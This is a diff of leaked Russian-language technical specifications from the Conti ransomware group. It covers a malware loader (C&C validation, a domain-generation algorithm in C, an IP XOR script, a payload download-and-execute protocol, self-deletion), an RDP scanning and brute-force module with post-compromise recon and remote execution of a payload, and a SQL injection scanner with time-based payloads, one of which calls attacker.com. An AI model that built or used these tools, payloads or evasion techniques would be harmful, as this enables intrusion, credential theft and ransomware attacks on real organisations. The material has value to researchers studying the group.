Валидация сервера происходит путем получения текущей даты сервера и проверки цифровой подписи строки с датой ВШИТЫМ в загрузчик асимметричным криптоключом.
Это является защитой от атак SinkHole путем перенаправления трафика от ботов на подставной сервер.
В HTTP-заголовке на ЛЮБОЙ HTTP-ответ обязательно должна быть дата с временем, например:
Date: YYYY-MM-dd HH:mm:ss
* Первый вариант
В HTTP-ответе должен присутствовать заголовок Set-Cookie: с именем куки SID и значением в base64-кодировке.
Значение куки является цифровой подписью ДАТЫ (БЕЗ времени!)
* Второй вариант
Поиск цифровой подписи происходит во ВСЕХ HTTP-заголовках ответа.
Если при переборе значений заголовков подпись сходится, сервер считается провалидированным.
Такое изменение делается с целью улучшить маскировку трафика (в ответ сервера включаются ложные заголовки, которые клиент игнорирует,
а DPI-системы вводит в заблуждение).
Если подпись не сходится, или дата (без времени) не совпадает с локальной, ищем другой сервер.
Валидация сервера должна быть сделана при первом же запросе на сервер.
После прохождения валидации, сервер помечается как надежный и в дальнейшем валидация не требуется.
Валидацию следует повторять при переустановке соединения и при смене адреса сервера.
Код валидации прилагается.
ВАЛИДАЦИЯ КЛИЕНТА
Для отсечения исследователей от сервера и предотвращения слива файлов из новых групп, используется валидация клиента на стороне сервера.
1. В каждый HTTP-запрос на сервер включается поле Date и проставляется текущие дата со временем
2. В лоадер/бот вшивается закрытый ключ для асимметричного шифрования. Ключ меняется от группы к группе
3. Лоадер/бот должен подписать значение даты (после подстроки "Date: " начиная с первого значащего символа после пробела), обернуть в base64 полученное значение,
и положить в любой случайный заголовок.
Можно Cookie, но необязательно - можно также использовать заголовки с префиксом X- и любым неуникальным именем (т.е. таким, которое уже широко используется).
4. Алгоритм шифрования такой же, как при проверке подписи сервера.
ОПРЕДЕЛЕНИЕ АДРЕСА C&C СЕРВЕРА ПО ДОМЕНУ
Для обнаружения командного сервера используются следующие стратегии:
1. список "сырых" IP-адресов
2. хардкод-список несуществующих пока (резервных) доменов Emercoin
3. генерация имени домена на основе текущей даты (подразумевается доменный суффикс .bazar)
Алгоритм в п.3 составлен так, что число всех возможных доменов составляет несколько тысяч,
так что их достаточно много чтобы перекрыть всю регистрацию,
и в то же время время перебора резолвером не слишком велико (порядка суток-нескольких суток).
Алгоритм приведен в приложении.
Поиск по алгоритму 3 следует делать пачками не более 5000 доменов за один раз.
После чего переходить к пункту 1.
После первого неудачного цикла 1..3, следует увеличить интервалы поиска сервера до получаса между пунктами.
При соединении с сервером следует его провалидировать по цифровой подписи (см.выше).
Если сервер невалиден, поиск продолжается.
В случае если не удалось найти валидный командный сервер за 3 последовательных попытки, следует либо завершиться, либо удалить себя из системы
(определяется настройками сборки).
После резолва IP-адреса из домена Emercoin, следует преобразовать IP-адрес путем операции XOR 254 для каждого октета.
Например, 124.245.101.251 (получен из DNS-ответа) -> 130.11.155.5
Т.к. DNS-информация доступна каждому, таким образом защищаемся от абюзов по взятым из DNS-записи адресам.
Код скрипта ipxor.ps1 на PowerShell:
$ip = read-host -prompt "Enter IP";
write-host $ip;
$newip = '';
($ip.split('.') | foreach {
$octet = [byte] ( $_)
$octet = $octet -bxor 254;
$newip = -join($newip,'.',$octet);
}
)
write-host $newip;
ПРОТОКОЛ ЗАГРУЗЧИКА
HEAD / HTTP/1.1
Проверка обновлений
В ответе ищем заголовок X-Tag, содержащий произвольную строку, обозначающую версию загрузчика на сервере.
Обновление происходит, если вшитая в загрузчик версия не совпадает с версией на сервере.
GET / HTTP/1.1
Получить тело нагрузки и запустить её.
Шифрование - XOR 1 байт, ключ - текущая дата UTC в представлении YYYYMMdd, записанная в hex
например 20200128 - это hex-строка 3230323030313238 (каждая цифра переводится в 16-ричное представление)
POST / HTTP/1.1
То же самое что и GET, плюс отправка информации о системе.
Тело запроса должно быть зашифровано датой как описано выше.
ДАННАЯ ФУНКЦИЯ ОПЦИОНАЛЬНА. ВКЛЮЧЕНИЕ В СБОРКЕ УСЛОВНОЙ КОМПИЛЯЦИЕЙ!
Форматирование ответа в теле POST соответствует этому же ответу бэкдора.
Если какую-то инфу нельзя получить без запуска внешних утилит, мы ее не присылаем! это важное условие.
Список полей сокращен:
path=полный путь к бинарному файлу бекдора (если не используется полностью fileless технология)
os=3-7 цифр содержащих major-version, minor-version и build операционной системы, если таковые имеются у системы
(например, для 6.1 build 7600 это будет 617600).
os[1]=признак типа ОС (W=Windows) и версия ОС
os[2]=билд ОС
arch=архитектура (разрядность): 86 или 64
cname=имя компьютера
uname=имя пользователя
domain=имя домена или рабочей группы компьютера получаем ТОЛЬКО вызовом WinAPI, например NetWkstaGetInfo; никаких запусков внешних утилит!)
av[]=тип антивируса
ps=список процессов
ДОПОЛНИТЕЛЬНО
Техники закрепления: https://habr.com/ru/post/425177/
Код резолва Emercoin прилагается.
ПРИЛОЖЕНИЕ 1
КОД ГЕНЕРАЦИИ ДОМЕНОВ ПО ТЕКУЩЕЙ ДАТЕ
Код следует дополнительно обфусцировать, как для запутывания аналитика, так и потому что он дает характерную сигнатуру.
Подразумевается доменный суффикs .bazar
void get_possible_domain(char* domain) {
if (!domain)
return;
for (int i = 0; i < 6; ++i) {
int rndchr = rand() % ('z' - 'a');
rndchr /= i + 6;
char c = 'a' + rndchr + i*2;
domain[i] = c;
}
static char datebuf[24];
static char date[7];
static bool date_computed = false;
if (!date_computed) {
GetDateFormatA(LOCALE_INVARIANT, 0, NULL, NULL, datebuf, sizeof(datebuf));
char mon[3];
char year[5];
for (int i = 0; i < 2; ++i)
mon[i] = datebuf[i];
mon[2] = 0;
for (int i = 0; i < 4; ++i)
year[i] = datebuf[i + 6];
year[4] = 0;
sprintf_s(date, sizeof(date), "%.2d%d", 12 - atoi(mon), atoi(year) - 18);
date_computed = true;
}
for (int i = 6; i < 12; ++i) {
domain[i] = domain[i - 6] + date[i - 6] - '0';
if (domain[i] < 'a')
domain[i] = 'z';
}
domain[12] = 0;
}

286
Conti Documentation Leak/docs/modules/ТЗ сканер rdp.txt

@ -0,0 +1,286 @@
СКАНЕР RDP ДОСТУПА
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ
Необходимо написать модуль сканера и брут-форма доступа по протоколу RDP. Модуль должен быть оформлен в соответствии с правилами, приведенными в документе modules_HOWTO.
РЕАЛИЗАЦИЯ
Модуль состоит из сканера, детектора имени, и подмодуля брут-форса.
У сканера есть два режима:
1) режим брут-форса
2) режим проверки
В режиме брут-форса сканер самостоятельно ищет сервера с открытым портом RDP, определяет имена пользователей и подбирает к ним пароли.
Результат работы - список адресов, имен и паролей.
В режиме проверки сканер работает по уже известному списку адресов серверов, имен и паролей. В этом режиме проверяется
актуальность списка, а также окружение и возможности сервера.
В режиме брут-форса:
Сканер делает перебор доменов и портов, используя получаемый извне список доменов для работы.
Результат работы сканера - это список адресов и портов, которые точно определены как сервис RDP.
Детектор имени получает на вход адрес:порт сервиса RDP. Резульат работы детектора - список имен пользователей данного RDP в текстовом виде.
Модуль брута получает на вход адрес:порт, список имен пользователей для данного адреса, и словари. Результат работы модуля брута - список подобранных паролей.
В режиме try-brute:
То же, что brute, но используется словарь имен пользователей.
В режиме NOP (холостой ход) сканер ничего не делает, только ожидает новых настроек.
Назначение режима холостого хода:
- аварийный останов сети, например если обнаружились неверные настройки или неверное поведение сканера
- пауза для того, чтобы можно было выставить настройки, без немедленного их запуска на выполнение.
Сканер взаимодействует с управляющим сервером для получения от него настроек, словарей, доменов для проверки итд.
Получить режим работы можно HTTP-запросом на сервер
GET /<group>/<clientid>/rdp/mode HTTP/1.1
В теле HTTP-ответа модуль ожидает строку brute, check, trybrute или nop.
Любое другое значение некорректно - в таком случае модуль делает повторные запросы
каждые 5 минут; до получения корректного ответа работа модуля не начинается.
Изменение режима возможно только с NOP и на NOP. Переход, к примеру, brute -> check невозможен.
В этом случае сканер переходит в режим NOP и отправляет на сервер сообщение об ошибке.
В случае работы в режиме NOP, сканер каждые 10 минут делает запрос режима и настроек.
Админка сканеров автоматически переводит режим в NOP при отработке 100% чанков всеми ботами (и только в этом случае - когда нету сомнений в завершении работы).
СКАНЕР
Сканер получает список доменов для проверки HTTP-запросом на сервер
GET /<group>/<clientid>/rdp/domains HTTP/1.1
Значения group и clientid - это поля struct ParentInfo
CHAR ParentID[256];
CHAR ParentGroup[64];
(см. module_HOWTO)
В режиме брута формат ответа:
адрес1:порт[\r]\n
адрес2:порт[\r]\n
...
(одна или множество записей)
В режиме проверки формат ответа
ip:port@username:password[\r]\n
...
(одна или множество записей)
Полное сканирование портов делать не следует, берем только стандартные порты RDP +-10 портов вверх-вниз.
Адрес:порт выдается на выход сканера только в том случае, если удается соединиться с данным портом и есть признак того, что это RDP-соединение.
При завершении перебора по выданному списку мы даем знать об этом серверу:
GET /<group>/<clientid>/rdp/over HTTP/1.1
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).
Старые версии сканера не поддерживали правила словарей. Чтобы отличить старую версию сканера от новой,
новая версия сканера во все GET-запросы добавляет HTTP-заголовок
fmode: 1
ОПРЕДЕЛЕНИЕ ИМЕНИ ПОЛЬЗОВАТЕЛЯ RDP
При успешном соединении, модуль делает скриншот списка пользователей RDP.
Далее софт распознает скрин и форматирует в текст.
Сформатированный текст редактирует под формат ip:port@username.
Если несколько пользователей на одном ip, то выводит в список наподобие:
147.126.54.43:3900@username1
147.126.54.43:3900@username2
147.126.54.43:3900@username3
147.126.54.43:3900@username4
и передает на вход брут-форсера.
БРУТ RDP
Словарь для перебора получаем HTTP-запросом к управляющему серверу:
GET /<group>/<clientid>/rdp/dict HTTP/1.1
В ответ нам приходит словарь либо как text/plain, либо application/gzip (смотрим на заголовок ответа Content-Type)
Если упаковка в gzip, то после распаковки мы ожидаем такой же формат словаря, как для простого текста:
- одно слово на строку, разделитель строк может быть \n или \r\n.
Словарь паролей поддерживает шаблоны паролей (т.е. возможность подставить макрос из текущего контекста работы).
Примеры макросов и правил:
%EmptyPass% // empty password.
%GetHost% // get host name from dns server. Slow speed!
%IP% // get ip (example: 192.168.0.1 = 192.168.0.1)
%Port% // get port (example: 192.168.0.1:3389 = 3389)
и так далее - всего имеется несколько десятков правил. Подробное описание правил шаблонов приведено в документации к модулю.
При разработке брута нужно соблюсти следующий компромисс:
- число потоков подбора должно быть максимально для данного компьютера (см. thread_concurrency в STL)
- потоки не должны мешать интерактивным задачам, т.е. должны как минимум иметь пониженный приоритет (см. SetThreadPriority())
- поток не должен долбить в один и тот же адрес постоянно. Вместо того, чтобы перебирать словарь по одной комбинации адрес:порт:юзер,
лучше взять список из 100 адресов и перебирать их по очереди, чтобы был баланс между интервалом между запросами на один и тот же хост,
и КПД софта
- в то же время, размер списка хостов для перебора для каждого потока должен быть не слишком большим, дабы не был заметен сетевой трафик
на не связанные между собою узлы
- в то же время, чем выше случайность, тем лучше - никогда не повторять один и тот же хост может быть выгодней, чем работать по одному и тому
же хосту.
Все размерности интервалов, таймаутов, размеров пачки адресов для перебора итд должны быть вынесены в глобальный файл config.h в виде констант.
Этот баланс нужно выяснить экспериментально; исходим от самой наивной реализации и далее усложняем.
В режиме сканирования на сервер в качестве результата отправляются только адреса, к которым удалось подобрать пароль.
В режиме проверки отправляются все адреса из входного списка, которым присваивается тег и проставляются доп.поля.
Отправка делается по протоколу DPOST (см. "ТЗ граб паролей DPOST" для описания протокола) запросом
POST /<group>/<clientid>/rdp/81 HTTP/1.1
Данные отправляются в контейнере multipart/form-data с полями source и data.
Значение поля source - "RDP Passwords"
Значение поля data: простой текст, разделитель строк \r\n
Формат записи:
rdp|<address>:<port>|<username>|<password>|<tag>|<field1=value>|<field2=value>|...\r\n
...
(одна или множество записей)
Здесь поля address:port, username, password определяются в результате сканирования,
а поля tag и field1... - в результате пост-проверки (см.ниже).
Поля field1=value записываются в виде ключ=значение, например
...|subnet=192.168.1.255|netmask=255.255.255.0|итд...
Такой формат позволяет передавать произвольные поля, не слишком меняя парсер и обратную совместимость.
Частоту отправки намайненных данных можно получить с управляющего сервера HTTP-запросом
GET /<group>/<clientid>/rdp/freq HTTP/1.1
В теле ответа мы ожидаем число - это число секунд, не чаще которого следует отправлять данные.
Если это 0 - отправка сразу по готовности (для режима скана - как только найден новый пароль;
для режима проверки - как только обработан следующий адрес из списка)
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X секунд,
очищая буфер при успешной отправке.
СОБЫТИЯ
Модуль должен отправлять следующие события через callback (см. "module_HOWTO"):
- RDP scanner build %date% %time% started
- %d addresses tried, %d RDP hosts detected, %d passwords found - периодически раз в полчаса (таймаут задается константой в config.h)
- RDP password found: %addr%:%port%:%username%:%password% - при нахождении пароля
КОНФИГИ
Конфиги передаются в модуль через вызов Control(). Название конфига - это строка в аргументе Ctl, тело конфига - аргумент CtlArg,
длина конфига - CtlArgLen (см. "module_HOWTO")
Модуль получает единственный конфиг с именем srv, содержащий список адресов управляющего сервера,
разделенных \r\n или \n, в формате адрес:порт.
Если порт четный, работа идет по HTTP, если нечетный - HTTPS.
Если указан префикс протокола (http/https), префикс имеет приоритет над указанным портом.
Модуль работает с тем управляющим сервером, до которого удалось достучаться первым, по каждому запросу.
ПОЛУЧЕНИЕ ИНФОРМАЦИИ О ХОСТЕ
Нужно предусмотреть автоматическое получение информации о хосте, как в режиме брута после подбора пароля,
так и в режиме проверки.
На каждый подобранный пароль, софт устанавливает соединение, определяет локацию, права пользования,
операционную систему.
<УСТАРЕЛО>
//Открывает CMD, вводит команду: 1 - net view, если ответ
//о системной ошибке, данный хост отмечается как no network, если ответ с списком
//компьютеров, то вводится команда 2 - net group "Domain Computers" /DOMAIN,
//если ответ о системной ошибке, данный хост отмечается как not in domain,
//если положительный ответ, то вводится команда 3 - nltest /domain_trusts /all_trusts,
//если есть инфа с доменами, то скачивается https://www.sendspace.com/file/172iky,
//распаковывается, запускается файл с форматом .bat, bp появившегося результат
//в той же папке находит файл subnet, копирует с него информацию, и вставляет
//в комментарий этого хоста, при этом этот хост помечается как in domain.
//Все эти пометки и дополнительную информацию следует передавать в расширенных полях при передаче данных по DPOST.
</УСТАРЕЛО>
Далее идет цитата требований заказчика, без изменений - ниже мои комментарии и пояснения:
1) Загружается список ip:port@username:password автоматом с результата брута
2) Софт устанавливает соединение.
Те, с которыми не смог установить соединение определяет причину (закрыт доступ или просто сервер в off).
Если сервер закрыт для доступа, не подошел пароль или имя пользователя, то убирает в раздел BAD RDP.
Если сервер просто находится в off, то убирает в раздел OFF RDP.
Если коннект установлен, определяет локацию, права пользования, операционную систему, имя компьютера, вносит в раздел ONLINE RDP.
раздел ONLINE RDP делится на две вкладки IN DOMAIN и NOT DOMAIN
в разделе IN DOMAIN есть такие ячейки: subnets, ad_users, ad_computers, ad_ous, ad_group, trustdmp, domainlist
3) в cmd вводит команду whoami/upn.
если ответ "имя пользователя"/"домен" - то рдп попадает в вкладку ON DOMAIN. "домен" записывает в ячейку domainlist
если ответ error, то рдп размещыется в вкладку NOT DOMAIN
4) берет рдп с раздела ON DOMAIN и туда скачивает файлы adf.bat, adfind.exe и XXX.exe в архиве, далее распаковываем
5) запускает файл adf.bat.
создаются текстовые файлы с именами: subnets, ad_users, ad_computers, ad_ous, ad_group, trustdmp, domainlist
из текстовых файлов subnets, ad_users, ad_computers, ad_ous, ad_group, trustdmp берем последнюю строку с количеством объектов (Objects returned) и количество их записывается по соответствию "имя txt файла=имя ячейки"
из txt файла domainlist все домены записываем в ячейку domainlist
6) запускаем XXX.exe от имени администратора.
если не отрабатывает файл от имени администратора, то запускаем простым методом.
в админке отмечается от каких прав запущен XXX.exe
если файл не возможно запустить по причине блокирования или АВ режет или вообще при распаковке АВ удалил XXX.exe, то все это отражается комментарием в админке
7) Далее берутся рдп с раздела NOT DOMAIN
скачивается архив с файлом XXX.exe, распаковывается
запускаем XXX.exe от имени администратора
если не отрабатывает файл от имени администратора, то запускаем простым методом.
в админке отмечается от каких прав запущен XXX.exe
если файл не возможно запустить по причине блокирования или АВ режет или вообще при распаковке АВ удалил XXX.exe, то все это отражается комментарием в админке
То есть, мы запускаем команды (часть встроено в ОС, часть нужно скачать из сети - команду adfind), анализируем ответы,
и проставляем поля tag (их на данный момент 4: bad rdp, off rdp, online rdp in domain, online rdp not in domain) и доп.поля,
полученные из запускаемых команд.
В режиме брута - для каждого подобранного пароля.
В режиме проверки - для каждого хоста из списка сканирования.
ОФОРМЛЕНИЕ
Следует внимательно читать "module_HOWTO" и внимательно относится к указанным там требованиям по использованию библиотек,
запретам, мерам по обфускации строк, системных вызовов, логированию, формату сборок итд.
ИНТЕРФЕЙС ПОЛЬЗОВАТЕЛЯ
Один и тот же модуль будет использоваться и как .dll, и как интерактивный софт с GUI.
При этом вся логика должна быть спрятана внутри rdp.dll, а интерфейс должен быть внешней (отдельной) программой,
использующей функции rdp.dll.
Напоминаю, что rpp.dll - это модуль, экспортирующий 4 функции Start, Control, FreeBuffer, Release, и все взаимодействие
с внешним миром происходит только через них.
Соответственно, конфиги модуль получает через вызовы Control, настройки, словари, список для сканирования
модуль получает с HTTP-сервера (который нужно организовать в GUI);
GUI получает обратную связь от модуля (сообщения о событиях) - через вызовы callback (см.описание функции Start).
В GUI должно быть предусмотрено:
- задание каждого конфига
- переключение режима (check/brute)
- старт и стоп работы в текущем режиме.
Допустим как неинтерактивный режим (консольная программа с управлением через командную строку - но тогда управление должно быть исчерпывающим),
так и оконная - тут допустим как WinAPI, так и QT. Программу можно запилить на C# для простоты разработки.
Организовать взаимодействие GUI с модулем можно так:
- задаем адрес управляющего сервера - 127.0.0.1:порт GUI
- запускаем управляющий сервер в GUI, который умеет отвечать на запросы конфигов и принимать найденные пароли
- выдаем в модуль адрес своего callback, для получения событий из модуля
- далее весь ввод пользователя и его действия мы преобразуем в конфиги, которые будем отдавать модулю
- конфиги должны формироваться перед выдачей Start(); во время работы должны блокироваться все настройки GUI, кроме кнопки СТОП
- раскладывать проверенные записи по спискам (bad rdp, off rdp итд) нужно на основании поля tag.

353
Conti Documentation Leak/docs/modules/ТЗ сканер sql инъекций2.txt

@ -0,0 +1,353 @@
ЗАДАНИЕ НА РАЗРАБОТКУ СКАНЕРА УЯЗВИМОСТЕЙ ВЕБ-САЙТОВ
ЦЕЛЬ
Необходимо написать модуль сканера уязвимостей веб-сайтов. Модуль должен быть оформлен в соответствии с правилами, приведенными в документе modules_HOWTO.
ПРИНЦИП РАБОТЫ
Сканер состоит из двух основных частей:
* кроулер
* детектор
Кроулер генерирует URL-адреса для проверки.
Детектор проверяет их.
Результатом проверки единичного сайта является факт наличия или отстутствия уязвимости.
Если уязвимость найдена, она сопровождается дополнительной информацией:
- точный URL, на котором найдена уязвимость
- сработавшее правило сканера
- предполагаемый тип СУБД (определяется из сработавшего правила)
Результатом работы всего модуля является список найденных в процессе работы уязвимостей.
РЕАЛИЗАЦИЯ
0. Название проекта - sqlscan
1. Сканер может и должен работать в несколько потоков. Число потоков задается параметром в конфиге; если он отсутствует, используется константа времени компиляции.
Есть два варианта разбиения на потоки:
1)
- в первой группе потоков отрабатывает кроулер по разным доменам, генерируя список для детектора
- во второй группе потоков отрабатывает детектор, выбирая из выходного списка кроулера записи для проверки.
2) в каждом потоке работает одновременно и кроулер, и детектор:
- кроулер генерирует домен для проверки и передает ее детектору
- детектор проверяет домен и вновь запускает кроулер.
Второй вариант выглядит проще с точки зрения межпоточной синхронизации.
2. Инициализация модуля:
Инициализируем генератор псевдослучайных чисел.
Случайности в алгоритме отводится большое значение.
Инициализация должна происходить значением GetTickCount64().
3. Алгоритм работы кроулера:
1) стартуем с https://findsubdomains.com/world-top (этот URL и правила его парсинга задаются в конфиге - TODO пока не описано в ТЗ)
s3.amazonaws.com/alexa-static/top-1m.csv.zip
2) выбираем случайный сайт из списка от 1 до 50000
3) определяем субдомены этого сайта, с помощью DNS-запроса
4) парсим главную страницу:
- ищем ссылки с динамическими страницами (есть тело GET-запроса: page.html?var=val&var1=val1...)
- ищем веб-формы с отправкой по POST
5) Парсим файл robots.txt. В них могут указывать динамические страницы, с просьбой их не индексировать.
6) Составляем список параметров URI-запроса для страницы.
Отдельно помечаем те параметры, в которых есть:
- числа (в том числе отрицательные)
- url-encoded значения или обычный текст
Все параметры URI-запроса страницы являются неотъемлемыми свойствами страницы и также передаются в выдачу.
Однако дальнейшее сканирование производится лишь по помеченным параметрам, пригодным для скана.
7) добавляем страницу с параметрами в выдачу.
4. Алгоритм работы детектора:
1) Получаем следующий URL с выхода кроулера
2) Получаем следующее правило из списка правил
3) Применяем правило к странице.
3.1) Если правило сработало, добавляем страницу, сработавший параметр, и правило в выдачу. goto 1.
3.2) Если правило не сработало, goto 2
3.3) Если правил больше нет, goto 1
5. Модуль отправляет список найденных уязвимостей раз в Н минут (задается константой компиляции и настройкой из конфига),
при условии что с предыдущей отправки были найдены новые пароли.
Логика отправки и протокол описаны в документе "ТЗ граб паролей DPOST.txt"
Формат отправки: текст, разделенный на строки символами \r\n
В одной строке - одна запись.
Разделитель полей записи - символ '|' (вертикальная черта)
Формат записи:
url|param1|rule name1|param2|rule name2|...|paramN|rule nameN\r\n
таким образом, количество записей плавающее.
Здесь:
url - полный URL сайта с обнаруженной уязвимостью, ВКЛЮЧАЯ ВСЕ ПАРАМЕТРЫ (т.е. все после символа ? в URI - важная информация!)
param - имя параметра с обнаруженной уязвимостью
rule name - имя правила обнаруженной уязвимости.
6. Модуль оформляется в соответствии с правилами разработки модулей (см. modules_HOWTO.txt)
7. Модуль отправляет следующие события с тегом owa:
- "Version build %DATE% %TIME%" (один раз при старте)
- "Vulns sent to DPOST server" при успешной отправке собранных уязвимостей
- "Vulns send failure: servers unavailable" при отсутствии доступных серверов DPOST
- "No vulns detected, give up", если закончена отработка модуля и ничего не найдено (гипотетический случай)
В таком случае, модуль должен выдать событие WantRelease (см "module_HOWTO") для выгрузки из памяти
8. В данном модуле можно ограниченно использовать C++ STL (std::string, контейнеры).
Запрещено использовать std::mutex и примитивы синхронизации - для этого можно использовать только
примитивы синхронизации WinAPI (CRITICAL_SECTION итд).
9. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())
10. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.
11. Модуль должен иметь две версии - x32- и x64-разрядную.
12. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.
13. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в c:/temp/webscan.log (путь к логу настраивается в макросе).
Каждая запись лога должна содержать временнУю метку с точностью до секунды.
14. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).
15. Модуль должен работать на всех современных версиях Windows.
Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).
16. Проект должен быть оформлен для сборки в Microsoft Visual Studio не ниже 2015.
17. Проект Visual Studio должен быть настроен следующим образом:
* Для ВСЕХ профилей сборки:
- выходной каталог: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
- Промежуточный каталог: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$(ProjectName)\
- Многопроцессорная компиляция: да
* Профиль Release:
- Формат отладочной информации (С/С++ создание кода): нет
- Создавать отладочную информацию (компоновщик/отладка): нет
ПРАВИЛА ФАЗЗИНГА
Правила фаззинга делятся на два типа:
- временнЫе: проверяют уязвимость наличием задержки при HTTP-ответе, при инъекции кода с командой sleep.
- разностные: проверяют уязвимость фактом отсутствия разницы между константным значением параметра
и этим же значением, _вычисляемым_ в инъектированном выражении.
Пример временнОго правила:
[email protected]';waitfor delay '00:00:10'--
выполнится с задержкой 10 секунд, а
[email protected]
выполнится без задержки
Пример разностного правила:
?id=22
и
?id=23-1
выдадут одинаковую страницу
а
?id=22
и
?id=23
выдадут разные страницы (суть второй проверки - убедиться, что изменение параметра вообще в принципе влияет на выдачу).
В разностных правилах нужно учитывать, что формально разные результаты могут быть фактически одинаковыми
(например если на странице есть вывод текущего времени - фактически страница не изменялась, а формально страница секунду назад не равна странице сейчас).
Возможно, при проверке одинаковости страниц нужно считать расстояние Левенштейна (правда, тут сомнения, т.к. алгоритм Вагнера — Фишера прожорлив до памяти).
КОНФИГИ
Имя конфига - это аргумент Ctl функции Control, содержимое конфига - это аргумент CtlArg (см. modules_HOWTO.txt)
Весь текст в конфигах регистрозависимый; теги и служебные значения должны быть в нижнем регистре.
Конфиги должны быть в любой однобайтной кодировке (предпочтительно ASCII).
XML-комментарии запрещены.
* settings
Конфиг представляет из себя простой xml в следующем формате:
<scan>
<delay>задержка между итерациями подбора, в миллисекундах</delay>
<threads>число потоков подбора</threads>
<start>URL стартовой страницы, с которой брать список сайтов на проверку</start>
<regex>регулярное выражение для поиска доменов на стартовой странице</regex>
</scan>
Все параметры из этого конфига опциональные. Если параметр не указан, используется константа времени компиляции.
* rules
Список правил к тестированию:
<rules>
<rule>
<name>имя правила</name>
<type>time|diff (одно из двух этих значений)</type>
<value1>значение, подставляемое в тестируемый параметр</value1>
<value2>значение, подставляемое в тестируемый параметр</value2>
<value3>значение, подставляемое в тестируемый параметр</value3>
</rule>
...
<rule>
...
</rule>
</rules>
Назначение тегов:
name - название правила; играет роль в выдаче модуля (указывает на тип уязвимости)
type - одно из двух значений type или diff - определяет тип правила (временнОе или разностное)
value* - для временнЫх правил, это значение нужно подставить в тестируемый параметр.
Если тегов со значением несколько, их нужно подставить все по очереди, до успеха.
При успешном тесте, оставшиеся значения можно не проверять.
- для разностных правил:
value1 - константное значение: с результатом выдачи на это значение мы будем сравнивать
value2 - вычисляемый эквивалент: результат выдачи по этому значению мы будем сравнивать с выдачей по value1.
value3 - контрольное значение: результат выдачи по этому значению мы будем сравнивать с value1.
Успехом считается, если выдача на value1 и value2 одинакова, а value1 и value3 отличается.
Начальный вариант конфига
<rules>
<rule>
<name>MSSQL injection</name>
<type>time</type>
<value1>[email protected]';waitfor delay '00:00:10'--</value1>
</rule>
<rule>
<name>MySQL injection</name>
<type>time</type>
<value1>[email protected]';SELECT BENCHMARK(1000000,MD5(‘A’));--</value1>
</rule>
<rule>
<name>Postgres injection</name>
<type>time</type>
<value1>[email protected]';SELECT pg_sleep(10);--</value1>
</rule>
<rule>
<name>Oracle injection</name>
<type>time</type>
<value1>[email protected]';BEGIN DBMS_LOCK.SLEEP(5); END; --</value1>
<value2>[email protected]';SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; --</value2>
<value3>[email protected]';SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; --</value3>
<value4>[email protected]';SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; --</value4>
</rule>
<rule>
<name>Unescaped numeric</name>
<type>diff</type>
<value1>22</value1>
<value2>23-1</value2>
<value3>23</value3>
</rule>
<rule>
<name>Unescaped string</name>
<type>diff</type>
<value1>22</value1>
<value2>22' and '1' = '1</value2>
<value3>22' and '2'='1</value3>
</rule>
</rules>
ВТОРАЯ ВЕРСИЯ
Во второй версии модуль управляется не входными данными из конфигов, а запросами к командному серверу.
КОМАНДНЫЙ СЕРВЕР И КОНФИГИ
Ранее мы получали все исходные данные в виде конфигов от бекенда ботов.
Это довольно неудобно по разным причинам - ограничения бекенда на размеры конфигов,
ограничения на управление конфигами оператором, отсутствие общего статуса сети,
отсутствие специализированного хранилища для результатов.
Вместо этого будет использоваться командный сервер, у которого мы просим настройки и входные списки,
и которому отдаем добычу.
В связи с этим, упраздняются все конфиги из первой версии.
Появляется новый конфиг srv, содержащий список адресов управляющего сервера,
разделенных \r\n или \n, в формате адрес:порт.
Если порт четный, работа идет по HTTP, если нечетный - HTTPS.
Если указан префикс протокола (http/https), префикс имеет приоритет над указанным портом.
Модуль работает с тем управляющим сервером, до которого удалось достучаться первым, по каждому запросу.
Получить режим работы можно HTTP-запросом на сервер
GET /<group>/<clientid>/sql/mode HTTP/1.1
Значения group и clientid - это поля struct ParentInfo
CHAR ParentID[256];
CHAR ParentGroup[64];
(см. module_HOWTO)
В теле HTTP-ответа модуль ожидает строку brute или check.
Любое другое значение некорректно - в таком случае модуль делает повторные запросы
каждые 5 минут; до получения корректного ответа работа модуля не начинается.
Число потоков сканирования:
GET /<group>/<clientid>/sql/th HTTP/1.1
В ответ - неотрицательное число.
Если atoi(ответ) == 0, то число потоков по умолчанию = std::thread_concurrency() - 1.
Сканер получает список доменов для проверки HTTP-запросом на сервер
GET /<group>/<clientid>/sql/domains HTTP/1.1
Формат ответа:
адрес1[\r]\n
домен2[\r]\n
...
(одна или множество записей)
При завершении перебора по выданному списку мы даем знать об этом серверу:
GET /<group>/<clientid>/sql/over HTTP/1.1
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).
Словарь для перебора получаем HTTP-запросом к управляющему серверу:
GET /<group>/<clientid>/sql/dict HTTP/1.1
В ответ нам приходит словарь либо как text/plain, либо application/gzip (смотрим на заголовок ответа Content-Type)
Если упаковка в gzip, то после распаковки мы ожидаем такой же формат словаря, как для простого текста.
Формат:
email:password[\r]\n
Правила сканирования запрашиваем так:
GET /<group>/<clientid>/sql/rules HTTP/1.1
Ответ - text/plain либо application/gzip (пока ограничиться text/plain)
Отправка делается по протоколу DPOST (см. "ТЗ граб паролей DPOST" для описания протокола) запросом
POST /<group>/<clientid>/sql/81 HTTP/1.1
Собранные данные отправляются в контейнере multipart/form-data с полями source и data.
Значение поля source - "SQL Injections"
Значение поля data: простой текст, разделитель строк \r\n
Формат записи:
